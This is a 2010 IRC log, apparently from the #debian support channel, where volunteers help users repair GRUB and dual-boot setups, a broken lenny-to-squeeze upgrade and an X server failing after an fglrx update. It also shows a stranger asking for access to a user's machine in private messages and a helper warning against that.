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| 00:00.51 | matte3560 | poisonbit: so it's a lot of work then? I assumed you could put CONFIG_NO_HZ=y and comment out the CONFIG_HZ lines, but that's not it? |
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| 00:01.12 | razieliyo | hi all |
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| 00:01.45 | razieliyo | babilen, I've installed just like you said |
| 00:01.57 | razieliyo | without anything more than the necessary and it's going fine |
| 00:02.06 | razieliyo | now I'll get up X |
| 00:02.06 | babilen | razieliyo: :) |
| 00:02.35 | razieliyo | babilen, just a simple solution, but efficient |
| 00:02.41 | razieliyo | didn't thought about this lol |
| 00:02.56 | babilen | well, i am happy that it worked out |
| 00:03.08 | razieliyo | yes really, now grub2 has been instaled |
| 00:03.25 | babilen | !install x |
| 00:03.25 | dpkg | To install X in Debian Etch or later: "aptitude update && aptitude install xorg". You may also want to install a desktop environment - ask me about <install gnome>, <install kde>, <install xfce>, <install lxde> - or a window manager, ask me about <window manager>. To reconfigure your X server, ask me about <drxx>. |
| 00:03.42 | razieliyo | !install gnome |
| 00:03.42 | dpkg | To install GNOME: install the 'gnome' package to install everything, the 'gnome-desktop-environment' package for slightly less stuff, or the 'gnome-core' package for even less. You will need X installed as well, ask me about <install x>. http://wiki.debian.org/Gnome |
| 00:03.47 | razieliyo | nice |
| 00:03.50 | razieliyo | thanks again |
| 00:04.04 | MagusOTB | abrotman: I'm not sure wondershapre is what I"m looking for. I want to set up my router so that it has several tiers of priority, each of which will go fast regardless of what the ones below it are doing. I'd also like to do host-based prioritizing, but that's less important. |
| 00:04.19 | abrotman | QoS |
| 00:04.23 | MagusOTB | Yeah, that. |
| 00:04.48 | MagusOTB | Wondershaper looks like it only has 2 priorities and is designed to deal with the "uploads slow down downloads" thing, which I don't really experience on my connection, |
| 00:04.56 | babilen | razieliyo: I would choose either "gnome-core" or "gnome-desktop-environment", because the "gnome" metapackage just installs way too many unnecessary things |
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| 00:05.11 | MagusOTB | or am I reading it wrong? |
| 00:05.23 | razieliyo | babilen, ok, I'll do that |
| 00:05.49 | razieliyo | now this doesn't detect grub2, I think I've to install it at the MBR, it didn't asked me nothing |
| 00:05.51 | razieliyo | I'll fix this |
| 00:06.10 | razieliyo | does /boot anything to do with this? |
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| 00:07.07 | babilen | razieliyo: I would recommend to install grub to the MBR, no need to install it to the /boot partition as well |
| 00:07.37 | razieliyo | ok, I'll try to fix this |
| 00:07.46 | babilen | razieliyo: If you need help with your graphics card, let us know. We would need the output of "lspci -nn|grep -i vga" for that |
| 00:07.55 | babilen | razieliyo: Isn't it booting fine? |
| 00:08.27 | razieliyo | no, grub screen just doesn't show |
| 00:08.39 | razieliyo | I think it's the mbr problem |
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| 00:08.44 | babilen | ah .. |
| 00:08.50 | razieliyo | I'm inside rescue mode |
| 00:08.50 | babilen | !fixmbr |
| 00:08.51 | dpkg | To reinstall <GRUB> simply boot to your Debian install disk, live CD or whatever else you have, switch to the other console (Alt-F2), then mount your root filesystem (mount -t ext2 /dev/whatever /target ; mount --bind /dev /target/dev ; mount -t proc none /target/proc), then chroot into it (chroot /target) and run "update-grub && grub-install /dev/whatever". Also ask me about <rescue mode>, <dual boot guide>, <supergrub>. |
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| 00:09.17 | babilen | razieliyo: You want the "update-grub && grub-install /dev/whatever" (replace "whatever") |
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| 00:10.18 | razieliyo | nice, I'll boot with parted magic and do that |
| 00:10.28 | razieliyo | btw, parted magic is a wonderful tool |
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| 00:10.52 | babilen | some even call it "magically" ;) |
| 00:12.05 | babilen | razieliyo: Good luck and I hope it does not take you too long. I won't be around the next hours :) |
| 00:12.14 | razieliyo | hahaha I hope so |
| 00:12.28 | razieliyo | nah, really, I've done this a few times |
| 00:12.32 | razieliyo | I think there will be no problem |
| 00:12.45 | babilen | rock on! |
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| 00:13.15 | razieliyo | your help has been really useful, thanks again! |
| 00:13.55 | babilen | np |
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| 00:17.40 | enyc | Why would 'dbndns' be missing from squeeze, but present in lenny and sid? |
| 00:17.59 | abrotman | you mean djbdns ? |
| 00:18.29 | enyc | no, i mean dbndns |
| 00:18.52 | abrotman | anyway .. |
| 00:18.56 | abrotman | security reasons apparently |
| 00:18.58 | abrotman | !removals |
| 00:18.58 | dpkg | The log of Debian package removals (including removal reasons) for this year is at http://ftp-master.debian.org/removals.txt . For logs of previous years, see http://ftp-master.debian.org/#removed |
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| 00:19.40 | abrotman | http://packages.qa.debian.org/d/djbdns/news/20091003T163918Z.html .. that's all i see |
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| 00:21.16 | enyc | abrotman: djbdns was inteed removed but i'm talking about dbndns |
| 00:21.37 | abrotman | same package |
| 00:21.51 | abrotman | http://packages.qa.debian.org/d/djbdns.html .. see |
| 00:21.57 | enyc | same _source_ packge? |
| 00:22.07 | abrotman | yes ... |
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| 00:22.21 | plugwash | The packages built from the same source package are always removed/reintroduced from/to testing as a unit |
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| 00:23.35 | enyc | plugwash: aha i see |
| 00:24.06 | abrotman | enyc: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=516394 .. i'm guessing that bug caused it to be removed |
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| 00:28.51 | razieliyo | has anyone tried ext4? |
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| 00:29.27 | enyc | razieliyo: in what context? on deb squeeze? |
| 00:29.32 | razieliyo | yes |
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| 00:29.45 | razieliyo | I don't know if /boot fits on it |
| 00:30.24 | raminnietzsche | hi. i need 2 compile this source in Debian - lenny : http://mirror.transact.net.au/sourceforge/s/project/ss/sserver/rcssserver/5.26/sserver-5.26.tar.gz |
| 00:30.27 | enyc | razieliyo: no. i believe lenny and later has the needed e2fsprogs. but the squeeze 2.6.32 kernel is needed. im not sure debian put in the necessary patch to grub to read extent (ext4) files... grub2 should work... |
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| 00:31.00 | razieliyo | I'll try and tell |
| 00:31.16 | enyc | razieliyo: does squeeze now come with grub2 ? |
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| 00:31.26 | razieliyo | mmm I really don't know |
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| 00:33.14 | xyan | razieliyo: im using ext4, and booting from it with grub2, everything is working nicely. im running a vanilla kernel though |
| 00:33.58 | razieliyo | ok, I'll just try it |
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| 00:40.14 | nathwill | ext4's super stable for me as well razieliyo |
| 00:40.20 | nathwill | i wouldn't worry about it much |
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| 00:40.57 | dynamite | Im having trouble unpacking a multipart archive on debian with unrar-free |
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| 00:41.18 | dynamite | Keep getting "Failed" on the 2nd File in the archive |
| 00:41.30 | bocaneri | Just "failed"? |
| 00:41.40 | dynamite | Extracting OneDDL.com-h-acs5mc/readme.txt OK |
| 00:41.41 | dynamite | Extracting OneDDL.com-h-acs5mc/h-acs5mc.dmg Failed |
| 00:41.51 | dynamite | just Failed. |
| 00:41.53 | dynamite | :) |
| 00:42.01 | bocaneri | Did your archive come with pars? |
| 00:42.12 | dynamite | pars? |
| 00:42.21 | bocaneri | par2 files? |
| 00:42.25 | dynamite | negative. |
| 00:42.29 | bocaneri | You're boned. |
| 00:42.53 | dynamite | sure this is not maybe a unrar issue |
| 00:42.54 | dynamite | ? |
| 00:42.55 | jhutchins_lt | dynamite: Re-get the second file. |
| 00:43.22 | dynamite | ill try. |
| 00:43.23 | dynamite | sec |
| 00:43.30 | dynamite | ETA 2m 20s |
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| 00:45.16 | bocaneri | I've not been using unrar-free, I've just been using unrar, and so there *may* be differences. Don't know. All I know is, on those rar occasions when I have to use rar, errors aren't recoverable without pars. |
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| 00:45.38 | winfix | hi .. I've installed python2.6 but when I try to install other packages it fails because detects only python2.5 . Im on squeeze |
| 00:45.41 | dynamite | re-rolling unrar. |
| 00:46.54 | dynamite | crap |
| 00:46.56 | dynamite | failed again |
| 00:47.17 | abrotman | winfix: how did you install python2.6 ? |
| 00:47.28 | dynamite | bocaneri: thanks anyway |
| 00:47.48 | winfix | abrotman: aptitude.. but Im reinstalling it using dpkg ... |
| 00:49.46 | winfix | abrotman: how apt detects which version is installed? |
| 00:50.12 | abrotman | winfix: /usr/bin/python is a symlink |
| 00:50.18 | themill | winfix: it would help if you'd put the command that ails and its entire output in a pastebin |
| 00:50.19 | winfix | abrotman: yes |
| 00:50.28 | winfix | themill: ok |
| 00:50.41 | simonrvn | that was a statement, not a question |
| 00:52.48 | winfix | themill: http://pastebin.com/t7A1Fjtn |
| 00:52.51 | winfix | abrotman: http://pastebin.com/t7A1Fjtn |
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| 00:53.15 | abrotman | winfix: can we see your /etc/apt/sources.list ? |
| 00:53.37 | jst | Hey, all. I downloaded the XFCE/LXDE CD, but only LXDE is being intalled. Is there any way I can set it to install ONLY XFCE? |
| 00:54.17 | themill | winfix: that looks a lot like you've not upgraded from lenny to squeeze properly. |
| 00:54.48 | winfix | abrotman: Im only have this 4 uncommented: deb http://ftp.br.debian.org/debian/ testing main contrib non-free ,deb http://packages.enlightenment.org/debian squeeze main extras, deb http://id.smartlink.ee/repo/release/ubuntu lucid main,deb http://debian-multimedia.org squeeze main contrib non-free |
| 00:54.59 | themill | (python2.5 is not in squeeze at all) |
| 00:55.04 | winfix | themill: hmm |
| 00:55.15 | winfix | themill: I'll remove then... |
| 00:55.17 | abrotman | uhm .. lucid ? |
| 00:55.23 | jst | Anyone? |
| 00:55.26 | raminnietzsche | i need 2 compile this source in Debian - lenny : http://mirror.transact.net.au/sourceforge/s/project/ss/sserver/rcssserver/5.26/sserver-5.26.tar.gz |
| 00:55.36 | raminnietzsche | err:object.h:56: error: expected initializer before â&â token |
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| 00:56.52 | abrotman | winfix: lucid is NOT Debian .. your system is probably all screwed up |
| 00:56.52 | themill | winfix: you probably need to do an "aptitude update; aptitude full-upgrade" to finish it off. Take care to look at what aptitude is planning to do to make sure that it isn't going to remove too many things that you want. |
| 00:57.04 | abrotman | and having testing and squeeze will break eventually |
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| 00:57.25 | winfix | abrotman: that is only for e17 packages |
| 00:57.32 | jst | Hey, all. I downloaded the XFCE/LXDE CD, but only LXDE is being intalled. Is there any way I can set it to install ONLY XFCE? |
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| 00:58.10 | abrotman | winfix: it may still break .. and Ubuntu is not Debian |
| 00:58.40 | winfix | themill: well this errors also remove aptitude .. |
| 00:58.47 | kj4 | jst: are you using the graphical install option? |
| 00:58.54 | themill | winfix: try using apt-get instead then |
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| 00:59.59 | winfix | damn .. I did remove python2.5 and now this want to remove 1Gb of apps |
| 01:00.11 | winfix | including gnome package |
| 01:00.38 | winfix | now every apt command ask me to do apt-get -f install |
| 01:00.44 | themill | winfix: what did you actually do to upgrade from lenny to squeeze in the first place? |
| 01:01.05 | winfix | themill: aptitude dist-upgrade |
| 01:01.39 | themill | sounds unlikely that you actually ran that command and had it do anything for you to be in this situation |
| 01:02.15 | abrotman | maybe he forgot to aptitude update? |
| 01:02.23 | winfix | themill: long time ago .. I don't remember exactly .. but today Im having problem with python |
| 01:02.43 | icebrain | hi, does anyone know if there's a package for Flash 10 64 bits? |
| 01:02.47 | icebrain | (for Lenny) |
| 01:02.50 | themill | winfix: the problem you have is that you have a mixture of lenny and squeeze. |
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| 01:03.00 | abrotman | icebrain: check backports.org perhaps |
| 01:03.35 | winfix | themill: how can I cancel the remove of all those packages |
| 01:03.36 | winfix | ? |
| 01:04.18 | themill | winfix: I don't have a clear picture of the current state of your system. I don't know what you've done. |
| 01:04.42 | winfix | themill: apt-get remove python2.5 |
| 01:05.16 | themill | why? You needed to upgrade the python that was installed (and hundreds of other packages), not remove that one... |
| 01:05.49 | winfix | themill: yes.. I cancelled, but now I do dist-upgrade and apt-get ask me to run -f install |
| 01:06.10 | winfix | and -f install will remove hunderds of other packages |
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| 01:07.59 | abrotman | winfix: put `aptitude update ; aptitude full-upgrade' in a pastebin |
| 01:08.16 | winfix | abrotman: i don't have aptitude installed rigt now |
| 01:08.24 | themill | ... |
| 01:08.30 | abrotman | okay .. apt-get will be fine i suppose |
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| 01:09.04 | winfix | abrotman: but apt-get dist-upgrade needs to run apt-get -f install first |
| 01:09.14 | bocaneri | Which KDE is squeeze going to use? |
| 01:09.28 | abrotman | winfix: pastebin .. i can't see your screen |
| 01:09.32 | peterrooney | ,versions kde |
| 01:09.33 | judd | Package kde on i386 -- etch: 5:47; lenny: 5:48 |
| 01:09.36 | abrotman | bocaneri: kde4.x .. |
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| 01:09.40 | abrotman | judd: versions kdelibs |
| 01:09.41 | judd | Package kdelibs on i386 -- etch: 4:3.5.5a.dfsg.1-8etch3; etch-security: 4:3.5.5a.dfsg.1-8etch3; etch-backports: 4:3.5.7.dfsg.1-7~bpo40+1; lenny: 4:3.5.10.dfsg.1-0lenny4; lenny-security: 4:3.5.10.dfsg.1-0lenny4; sid: 4:3.5.10.dfsg.1-5; squeeze: 4:3.5.10.dfsg.1-5 |
| 01:09.49 | abrotman | oh .. that's wrong ? |
| 01:10.06 | bocaneri | That'll be good enough. KDE4 is less confusing in some regards, e.g., global keyboard shortcuts. |
| 01:10.31 | winfix | abrotman: http://pastebin.com/HN98ub5P |
| 01:10.51 | winfix | themill: http://pastebin.com/HN98ub5P |
| 01:11.26 | abrotman | winfix: add a lenny source (you can probably duplicate the squeeze and just change it to lenny) .. then "apt-get update; apt-get install python2.5;apt-get -f install' .. then show us that |
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| 01:13.31 | fs-a | Does anyone know if it's possible to use a sort of LD_LIBRARY_PATH but with priority over libraries of the system? |
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| 01:15.43 | winfix | abrotman: apt-get install python2.5 says: |
| 01:15.45 | winfix | python2.5 is already the newest version. |
| 01:15.46 | winfix | python2.5 set to manually installed. |
| 01:16.02 | winfix | abrotman: and apt-get -f install says the same thing |
| 01:16.21 | abrotman | winfix: pastebin .. |
| 01:17.17 | winfix | abrotman: http://pastebin.com/dB4yD67V |
| 01:17.32 | winfix | btw pastebinit doesnt work |
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| 01:19.23 | plugwash | winfix what does apt-get -f install give? |
| 01:19.55 | plugwash | exactly the same? |
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| 01:20.20 | winfix | plugwash: that it's going to remove 255 packages (including python) |
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| 01:20.53 | plugwash | you are trying to upgrade from lenny to squeeze right? |
| 01:20.56 | abrotman | winfix: can you install aptitude now ? |
| 01:21.37 | plugwash | winfix if apt-get -f install proposes a soloution i'd let it go ahead with it. Python is not essential on debian and you can always reinstall it later. |
| 01:22.30 | jhutchins_lt | plugwash: Actually, python is pretty heavily integrated into the system. So much so that trying to change versions results in serious usability problems. |
| 01:22.43 | winfix | abrotman: no |
| 01:23.00 | abrotman | winfix: so 'apt-get -f install' .. says what ? |
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| 01:23.17 | jhutchins_lt | People trying to push newer versions onto existing systems usually end up having to reinstall the system. |
| 01:23.18 | winfix | abrotman: http://pastebin.com/vWKNDpYv |
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| 01:23.52 | abrotman | winfix: `cat /etc/apt/sources.list ; apt-get -f install' ? |
| 01:24.29 | winfix | http://pastebin.com/Z7t6dsG9 |
| 01:24.40 | winfix | :| |
| 01:24.56 | plugwash | jhutchins_lt, quite a bit may depend on it but it is not an essential package and i've never had a problem with removing it and installing it again later |
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| 01:25.47 | winfix | abrotman: what is that for?? :S show sources.list? |
| 01:25.52 | abrotman | yes please |
| 01:26.07 | winfix | abrotman: same |
| 01:26.15 | abrotman | wtf .. where did oyu get python3 ? |
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| 01:26.24 | winfix | uh? |
| 01:26.39 | abrotman | judd: versions python3 |
| 01:26.42 | judd | Package python3 on i386 -- squeeze: 3.1.2-12; sid: 3.1.3-12; experimental: 3.1.3-15 |
| 01:26.46 | abrotman | uhm okay! |
| 01:27.14 | abrotman | winfix: apt-get remove python3 ? |
| 01:27.17 | winfix | abrotman: # dpkg --list |grep python3 return nothing |
| 01:27.23 | plugwash | as I said just let it go ahead and remove stuff, finish your upgrade and then reinstall stuff |
| 01:29.23 | plugwash | that is the only sane way out of the situation you are in |
| 01:29.58 | winfix | plugwash: going to do it |
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| 01:31.39 | abrotman | that's going to remove his running kernel |
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| 01:32.58 | winfix | abrotman: but i can reinstall it |
| 01:32.58 | jhutchins_lt | *F00F*! |
| 01:33.08 | plugwash | hmm, so it is, i'd still go ahead with it though the important thing is getting the packages back into a consistent state |
| 01:34.07 | plugwash | no kernel installed isn't an ideal state to be in but as long as you get one installed before the next reboot it isn't fatal |
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| 01:35.08 | islevegan | any idea why i would get help details when i type apache2 restart as root? |
| 01:35.16 | abrotman | echo uninstall python3 | dpkg --set-selections ? |
| 01:35.18 | islevegan | instead of a restart of apache |
| 01:35.31 | abrotman | islevegan: /etc/init.d/apache2 restart |
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| 01:36.40 | abrotman | he could mark those packages to be uninstalled, instead of letting the other 200 uninstall |
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| 01:37.49 | islevegan | abrotman, thanks. earlier i tried it directly from the director /etc/init.d and it was doing the same thing. apt-get was getting hung up so maybe there was weirdness. it's working now. |
| 01:38.00 | islevegan | after a restart |
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| 01:48.01 | pfred1 | muwahaha! I got it to work! Linux giga 2.6.32-bpo.5-686 #1 SMP Wed Dec 1 20:32:28 UTC 2010 i686 GNU/Linux |
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| 01:53.23 | pfred1 | anyone know why synaptic would just fail to start on a fresh insteall? |
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| 01:54.28 | cplx | anyone have experience with resetting onboard admin password for a HP Blade chassis? |
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| 01:55.56 | abrotman | cplx: ##hardware maybe ? |
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| 01:56.41 | pfred1 | what was the last kernel that supported /dev/dsp ? |
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| 01:58.04 | liable_ | i think it was the 2.4 kernel wannit? |
| 01:58.19 | abrotman | no, current ones still do .. |
| 01:58.23 | liable_ | if you mean ran oss instead of alsa |
| 01:58.32 | pfred1 | liable_ doubtful being as I have it on my two other Lenny machines |
| 01:58.46 | abrotman | the ALSA OSS emulation layer can create that |
| 01:58.53 | pfred1 | and you can still get oss too |
| 01:58.57 | liable_ | if you just want the device then load the module |
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| 01:59.15 | pfred1 | abrotman I've had no luck with wrappers actually working |
| 01:59.29 | abrotman | has lots of luck |
| 01:59.37 | pfred1 | abrotman neither aoss or that pulse audio wrapper I forget its name |
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| 02:08.03 | thepro4ever | if i have resized my display with a rogue app, is there a way to reset my x session so that it displays properly again instead of having to reboot? |
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| 02:08.26 | abrotman | xrandr |
| 02:08.30 | pfred1 | thepro4ever ctrl+alt+KP + & - don't work? |
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| 02:09.25 | AndroUser | hey, im getting an error when starting debian, could someone try to help me? |
| 02:09.41 | thepro4ever | i ran xrandr and for some reason i have extra space on the sides of my desktop, i can see my wall paper on the sides and i can scroll over there with my mouse |
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| 02:11.16 | winfix | this is weird.. for example I have gnome-session-common v2.30.2-1 but in squeeze is v2.30.2-3 .. but if I do aptitude full-upgrade doesn't anything |
| 02:11.23 | pfred1 | thepro4ever if you're brave or crazy you might be able to adjust your modelines with xvidtune |
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| 02:11.44 | winfix | Cem29 is a spammer |
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| 02:12.39 | AndroUser | can someone help me? |
| 02:12.42 | abrotman | winfix: priv msg me the spam |
| 02:12.59 | abrotman | AndroUser: are you going to tell us the error ? |
| 02:12.59 | Cem29 | no |
| 02:13.02 | Cem29 | not spammer |
| 02:13.04 | pfred1 | some junk about wikileaks |
| 02:13.20 | abrotman | Cem29: go somewhere else |
| 02:13.20 | AndroUser | i did earlier, unable to connect to x server |
| 02:13.22 | AndroUser | on startup |
| 02:13.27 | abrotman | AndroUser: how did you install X ? |
| 02:13.35 | abrotman | pfred1: you can spam also? |
| 02:13.48 | AndroUser | with the debian installer |
| 02:13.53 | pfred1 | abrotman excuse me? |
| 02:14.01 | AndroUser | it worked until an update |
| 02:14.03 | abrotman | "junk about wikileaks" ? |
| 02:14.18 | abrotman | AndroUser: did you have nvidia/ati ? |
| 02:14.25 | AndroUser | then i did a full update to squeeze to see if that would update x and fix it |
| 02:14.28 | AndroUser | ati |
| 02:14.33 | AndroUser | 5830 |
| 02:14.34 | abrotman | how did you install fglrx ? |
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| 02:14.53 | AndroUser | with the debian installer |
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| 02:15.12 | abrotman | you might have to reinstlal the fglrx |
| 02:15.13 | AndroUser | is there a repair command? |
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| 02:15.28 | AndroUser | do i just purge it then install it? |
| 02:15.58 | pfred1 | how come aptitude is strange and I can't copy paste text out of it? |
| 02:16.26 | AndroUser | not with ctrl keys |
| 02:16.41 | AndroUser | you need to do it with right click |
| 02:16.55 | AndroUser | also i think you mean terminal or konsole |
| 02:16.57 | winfix | abrotman: any idea about full-upgrde issue? |
| 02:17.17 | abrotman | winfix: sorry, got lost in the mess .. paste.debian.net please |
| 02:17.26 | winfix | this is weird.. for example I have gnome-session-common v2.30.2-1 but in squeeze is v2.30.2-3 .. but if I do aptitude full-upgrade doesn't anything |
| 02:17.52 | winfix | *doesn't upgrade anything |
| 02:18.07 | pfred1 | winfix somehow I doubt the upgrade would be life altering |
| 02:18.10 | abrotman | winfix: pastebin 'apt-cache policy' |
| 02:18.20 | plugwash | what does apt-cache policy gnome-session-common give? |
| 02:18.27 | abrotman | i just want apt-cache policy .. |
| 02:18.33 | plugwash | sounds like the mirror you are using is a bit outdated to me |
| 02:18.38 | AndroUser | abrotman, xinit: no such file or directory (errno 2): unable to connect to X server |
| 02:18.52 | abrotman | AndroUser: aptitude install xorg ? |
| 02:18.57 | AndroUser | xinit: no such process (errno 3) server error |
| 02:19.03 | AndroUser | ill try that again |
| 02:19.35 | AndroUser | its already installed, it said 0 packages changed etc |
| 02:19.41 | plugwash | has seen some mirrors literally months behind |
| 02:19.57 | winfix | abrotman: http://pastebin.com/4ptvw6Mu |
| 02:20.17 | abrotman | winfix: paste.debian.net is less annoying :) |
| 02:20.32 | AndroUser | ill purge and reinstall 1 sec |
| 02:20.50 | abrotman | winfix: do you have a preferences file in /etc/apt/ ? |
| 02:21.22 | winfix | abrotman: yes |
| 02:21.27 | winfix | abrotman: thanks :) |
| 02:21.30 | abrotman | winfix: that's been causing all these problems |
| 02:21.42 | AndroUser | preferences.d? |
| 02:22.00 | abrotman | winfix: so ... remove that file, then `aptitude update && aptitude full-upgrade` |
| 02:22.16 | AndroUser | preferences.d is empty |
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| 02:23.52 | AndroUser | it says parse error on line 138 of section serverlayout in file /etc/x11/xorg.conf |
| 02:24.07 | AndroUser | thats the first error of the like 5 messages |
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| 02:25.31 | winfix | wow.. 2Gb of updates |
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| 02:28.34 | AndroUser | the real problem is it isnt recognizing my screen |
| 02:28.46 | AndroUser | at least i thin |
| 02:29.00 | AndroUser | because xrandr cant find them |
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| 02:29.44 | FunkyBob | morning, all |
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| 02:33.48 | FunkyBob | am using simple-cdd to build a custom boot/install CD, and it's really living up to its name |
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| 02:34.11 | FunkyBob | however, either the documentation is too sparse, or it's _just_ too simple for my needs |
| 02:34.59 | FunkyBob | basically, post install I want to run a script... with access to some non-package files [sure, ideally they'd all be debs... but not yet] |
| 02:36.27 | razieliyo | my grub has crashed the win boot |
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| 02:40.13 | AndroUser | ill paypal anyone who can solve this problem within 20 minutes $10 |
| 02:41.00 | razieliyo | lol |
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| 02:41.28 | FunkyBob | AndroUser: what problem? |
| 02:41.55 | abrotman | AndroUser: did you get a better error from /var/log/Xorg.0.log ? |
| 02:42.31 | AndroUser | when i boot, it goes to cli so i login and startx, then it tells me parse error on line 138 of section serverlayout in file /etc/x11/xorg.conf ....... then ...... fatal error: no screens found ...... then ...... it tells me look at the log at /var/log/xorg.0.log |
| 02:42.51 | abrotman | so look at that file |
| 02:42.57 | abrotman | pastebin it for us if you can |
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| 02:44.36 | AndroUser | it tells me the same stuff as before, but at the bottom it says (WW) xf86loseConsole: KDSETMODE failed: Bad file descriptor |
| 02:45.10 | AndroUser | then the same thing again with VT_GETMODE substituted for KDSETMODE |
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| 02:46.57 | abrotman | can you put the whole log in a pastebin? |
| 02:47.05 | AndroUser | ... |
| 02:47.21 | AndroUser | no, i dont know how without typing it out |
| 02:47.43 | AndroUser | ill take a picture |
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| 02:48.56 | Bop | ok |
| 02:49.06 | Bop | AndroUser, $10 , i accept :D |
| 02:49.10 | peterrooney | AndroUser: perhaps more useful is the config file (also, aptitude install pastebinit) |
| 02:49.35 | razieliyo | time is going |
| 02:49.38 | razieliyo | tic tac tic tac |
| 02:49.52 | Bop | gimme access |
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| 02:51.13 | AndroUser | pastebin.com/fcvrwirj |
| 02:51.48 | razieliyo | # |
| 02:51.48 | razieliyo | Parse error on line 138 of section ServerLayout in file /etc/X11/xorg.conf |
| 02:51.49 | razieliyo | # |
| 02:51.49 | razieliyo | <PROTECTED> |
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| 02:52.01 | razieliyo | sorry |
| 02:52.32 | AndroUser | what it didnt show up |
| 02:52.33 | Bop | so , are u still paying , AndroUser ? |
| 02:52.38 | Bop | :P |
| 02:52.39 | AndroUser | yes |
| 02:52.41 | Bop | ok |
| 02:52.43 | Bop | let me in |
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| 02:52.59 | Bop | go to my pvt |
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| 02:53.54 | razieliyo | crisis? what crisis? |
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| 02:54.05 | cgroza | there is no crisis in canada |
| 02:54.21 | razieliyo | in spain it's at his max point |
| 02:54.27 | razieliyo | at least I think so |
| 02:54.30 | cgroza | not here |
| 02:55.02 | cgroza | grece is broke |
| 02:55.19 | razieliyo | I've watched a few documentaries about canada and I think I can know why |
| 02:55.27 | cgroza | wgy? |
| 02:55.40 | AndroUser | http://pastebin.com/KhKMhxAy |
| 02:55.43 | razieliyo | you're clever |
| 02:55.59 | cgroza | who? |
| 02:56.04 | AndroUser | easy 10 bucks |
| 02:57.13 | razieliyo | no one |
| 02:57.15 | razieliyo | bush is clever |
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| 02:59.05 | razieliyo | it just seems that canadiens know what really goes first |
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| 02:59.20 | abrotman | razieliyo: do you have a Debian questoin ? |
| 02:59.29 | razieliyo | really I have |
| 02:59.50 | abrotman | AndroUser: mv /etc/X11/xorg.conf /etc/X11/xorg.conf.20101205 |
| 02:59.53 | abrotman | AndroUser: then restart the computer |
| 03:00.06 | razieliyo | I've installed debian and at the grub installing, it said me that an winXP installation was found, but it doesn't show it |
| 03:00.14 | razieliyo | I've done grub-install --recheck /dev/sda |
| 03:00.17 | razieliyo | and grub-update |
| 03:00.19 | razieliyo | and so on |
| 03:00.26 | razieliyo | but nothing gives me my old xp partition |
| 03:00.33 | razieliyo | I'm using testing |
| 03:00.39 | abrotman | install os-prober |
| 03:00.45 | razieliyo | nice |
| 03:00.55 | razieliyo | I've tried with parted magic, but I couldn't |
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| 03:01.00 | razieliyo | I'll try with that os-prober |
| 03:01.10 | razieliyo | although I'm reinstalling debian again |
| 03:01.14 | razieliyo | just the basics |
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| 03:02.01 | chrisb | razieliyo: thinkpad? |
| 03:02.29 | razieliyo | chrisb, wait, I'll google that |
| 03:03.00 | chrisb | razieliyo: i mean, is your computer a lenovo or ibm thinkpad? |
| 03:03.02 | razieliyo | not a thinkpad, just a casual computer |
| 03:03.06 | razieliyo | no laptop |
| 03:03.39 | razieliyo | chrisb, amd64 athlon monocore 1500+ |
| 03:04.10 | chrisb | razieliyo: my recent experience with a toshiba satellite and an ibm thinkpad g41 were that the winxp partition would not boot from grub |
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| 03:04.50 | chrisb | it would also be hosed if grub wrote the mbr |
| 03:04.56 | AndroUser | bop? |
| 03:05.06 | Bop | pvt AndroUser |
| 03:05.09 | razieliyo | chrisb, I think I've broken the MBR or something like that |
| 03:05.20 | razieliyo | I wonder if I can reinstall xp booter |
| 03:05.23 | chrisb | i could boot debian from winxp's bootloader ntldr |
| 03:05.24 | abrotman | grub normally writes to the MBR, that's pretty standard |
| 03:05.36 | abrotman | razieliyo: so you have grub-pc and os-prober installed ? |
| 03:05.57 | razieliyo | abrotman, yes |
| 03:06.14 | razieliyo | I have both installed |
| 03:06.22 | chrisb | but i found that syslinux, extlinux, pxelinux are all always able to boot these winxp partitions |
| 03:06.32 | chrisb | even if they have written to the mbr |
| 03:06.36 | abrotman | razieliyo: and if you run 'update-grub' ? what does it say ? |
| 03:07.11 | razieliyo | generating grub.cfg and then, it says found linux image and found initrd image, but nothing about winxp |
| 03:07.11 | chrisb | i just did a debian install today, and in the middle, installed extlinux, and minutes later, i was dualbooting |
| 03:07.26 | razieliyo | chrisb, extlinux? |
| 03:08.11 | abrotman | razieliyo: are you sure XP is even still there? |
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| 03:08.18 | razieliyo | I'm really sure |
| 03:08.26 | razieliyo | I was using it an hour ago |
| 03:08.34 | abrotman | that doesn't mean you didn't install over it |
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| 03:08.50 | razieliyo | abrotman, I'm pretty sure I didn't wrote over the win partition |
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| 03:09.07 | razieliyo | maybe broke the mbr, but not rewrite |
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| 03:09.45 | abrotman | grub almost always writes to the MBR .. that's normal |
| 03:10.00 | razieliyo | yes, I know, but now I just want winxp back |
| 03:10.28 | abrotman | !fixmbr |
| 03:10.28 | dpkg | To reinstall <GRUB> simply boot to your Debian install disk, live CD or whatever else you have, switch to the other console (Alt-F2), then mount your root filesystem (mount -t ext2 /dev/whatever /target ; mount --bind /dev /target/dev ; mount -t proc none /target/proc), then chroot into it (chroot /target) and run "update-grub && grub-install /dev/whatever". Also ask me about <rescue mode>, <dual boot guide>, <supergrub>. |
| 03:10.31 | abrotman | bleh .. |
| 03:10.46 | abrotman | razieliyo: the winxp installation disc has a fixmbr command |
| 03:11.00 | razieliyo | I've read something about that |
| 03:11.05 | razieliyo | I'll try to do it |
| 03:11.18 | razieliyo | !dualbootguide |
| 03:11.23 | razieliyo | !dual boot guide |
| 03:11.23 | dpkg | A guide for setting up dual booting with various combinations of Linux and Windows (XP, Vista, 7) can be found at http://apcmag.com/dualboot . The guide covers both Windows and Linux being installed first on the machine. Also ask me about <fixmbr>, <supergrub>. |
| 03:13.24 | abrotman | razieliyo: you can also msg the bot |
| 03:13.34 | abrotman | aupergrub is interesting too |
| 03:14.02 | razieliyo | I'm just watching my xp partition |
| 03:14.05 | razieliyo | it's sda1 |
| 03:14.10 | razieliyo | this gives me a ray of hope |
| 03:15.29 | abrotman | AndroUser: any luck ? |
| 03:16.06 | AndroUser | getting help from bop |
| 03:18.10 | abrotman | AndroUser: did you move your xorg.conf yet? |
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| 03:19.30 | AndroUser | no |
| 03:19.55 | abrotman | you should probably try that before you try whatever other crazy solution someone is giving you in msg |
| 03:20.14 | AndroUser | move it where? |
| 03:20.22 | abrotman | AndroUser: mv /etc/X11/xorg.conf /etc/X11/xorg.conf.20101205 |
| 03:20.26 | abrotman | AndroUser: then restart the computer |
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| 03:20.43 | AndroUser | ok, but i cant now because of wget |
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| 03:20.53 | AndroUser | oh wait ctrl alt f6 |
| 03:21.03 | abrotman | because of wget ? |
| 03:21.09 | abrotman | uhm .. you just have to mv a file |
